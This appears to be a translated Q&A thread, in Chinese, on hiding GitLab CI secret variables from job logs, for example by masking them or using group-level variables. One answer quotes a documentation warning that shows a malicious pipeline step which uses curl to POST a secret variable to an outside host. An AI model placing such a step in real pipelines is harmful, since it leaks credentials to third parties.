在Gitlab管道中运行sh文件时隐藏变量值

时间:2020-07-10 06:04:48

标签: bash shell gitlab gitlab-ci

当我在一个阶段(Gitlab管道)中运行bash文件时,它会在日志中显示GitLab秘密值,理想情况下该值不应该显示。如何避免这种情况?

GitLab管线阶段

stage: docker_push
script:
    - /home/directory/dockerPush.sh
tags:
    - docker

bash文件(dockerPush.sh)内容

docker login --username foo --password ${DOCKER_LOGIN_PASSWORD}
docker push ${IMAGE_NAME}

管道日志

+ docker login --username foo --password Doc49byfe

4 个答案:

答案 0 :(得分:2)

添加变量时,请选中“蒙版变量”选项:

enter image description here

答案 1 :(得分:1)

您需要使用“格伦”答案之类的蒙版功能。

但是遮罩功能具有与变量格式相关的一些限制,例如本文档https://docs.gitlab.com/ee/ci/variables/#masked-variable-requirements

如果Gitlab拒绝屏蔽您的变量,则需要在您的Shell脚本中完成该操作。

一种简单的方法是将输出发送到文件(如果您确实需要日志),或者另一种选择是将输出发送到/dev/null

答案 2 :(得分:0)

GitLab中有Group-Level Environmental Variables个可用

您可以定义在管道环境中设置的每个项目或每个组的变量。组级变量存储在存储库之外(不在.gitlab-ci.yml中)。它们被安全地传递到GitLab Runner,这使得它们在管道运行期间可用。 // 我们建议使用组环境变量来存储机密信息(例如密码,SSH密钥和凭据),高级用户

  • 请勿使用外部密钥存储。
  • 使用GitLab与HashiCorp Vault的集成。

进一步:

安全性

推送到您的.gitlab-ci.yml文件的恶意代码可能会破坏您的变量,并将其发送到第三方服务器,无论其掩码设置如何。如果管道在受保护的分支或受保护的标签上运行,也可能会损害受保护的变量。

所有对.gitlab-ci.yml进行更改的合并请求都应在进行以下操作之前仔细审查:

在父项目中运行管道以处理从分支项目提交的合并请求。

合并更改。

以下是恶意.gitlab-ci.yml的简化示例:

build:
  script:
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/

关于掩盖

掩码变量(可选):如果选中,则变量的值不会显示在作业日志中。如果该值不满足屏蔽要求,则不会保存该变量。

启用调试跟踪可能会带来严重的安全隐患。输出将包含所有变量和其他任何秘密的内容!输出将上传到GitLab服务器,并在作业日志中显示!

结论:

  1. 使用组变量
  2. 如果不能,请执行以下操作:屏蔽变量

答案 3 :(得分:-1)

您是否尝试从gitlab管理员面板中添加环境变量,并将变量设置为受保护的?这是一个示例:https://secrethub.io/docs/guides/gitlabci/#provide-credential 最好